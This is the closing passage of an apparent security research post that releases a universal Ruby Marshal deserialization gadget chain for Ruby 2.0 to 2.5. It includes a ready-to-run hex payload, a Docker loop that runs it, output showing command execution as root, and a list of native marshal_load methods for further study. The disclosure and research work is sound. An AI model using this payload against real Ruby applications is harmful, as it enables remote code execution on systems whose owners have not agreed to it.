<span class="no">IO</span><span class="p">.</span><span class="nf">popen</span><span class="p">(</span><span class="s2">"ruby -e 'Marshal.load(STDIN.read) rescue nil'"</span><span class="p">,</span> <span class="s2">"r+"</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">pipe</span><span class="o">|</span>
<span class="n">pipe</span><span class="p">.</span><span class="nf">print</span> <span class="n">payload</span>
<span class="n">pipe</span><span class="p">.</span><span class="nf">close_write</span>
<span class="nb">puts</span> <span class="n">pipe</span><span class="p">.</span><span class="nf">gets</span>
<span class="nb">puts</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="s2">"Payload (hex):"</span>
<span class="nb">puts</span> <span class="n">payload</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="nb">puts</span>
<span class="nb">require</span> <span class="s2">"base64"</span>
<span class="nb">puts</span> <span class="s2">"Payload (Base64 encoded):"</span>
<span class="nb">puts</span> <span class="no">Base64</span><span class="p">.</span><span class="nf">encode64</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:
<span class="gp">$</span> <span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>0..5<span class="o">}</span><span class="p">;</span> <span class="k">do </span>docker run <span class="nt">-it</span> ruby:2.<span class="k">${</span><span class="nv">i</span><span class="k">}</span> ruby <span class="nt">-e</span> <span class="s1">'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'</span><span class="p">;</span> <span class="k">done</span>
<span class="go">uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)</span>
CONCLUSION
This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.
As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument
. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.
There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the
methods shown below:
<span class="gp">complex.c: rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);</span>
<span class="gp">iseq.c: rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);</span>
<span class="gp">random.c: rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);</span>
<span class="gp">rational.c: rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);</span>
<span class="gp">time.c: rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);</span>
<span class="gp">ext/date/date_core.c: rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);</span>
<span class="gp">ext/socket/raddrinfo.c: rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);</span>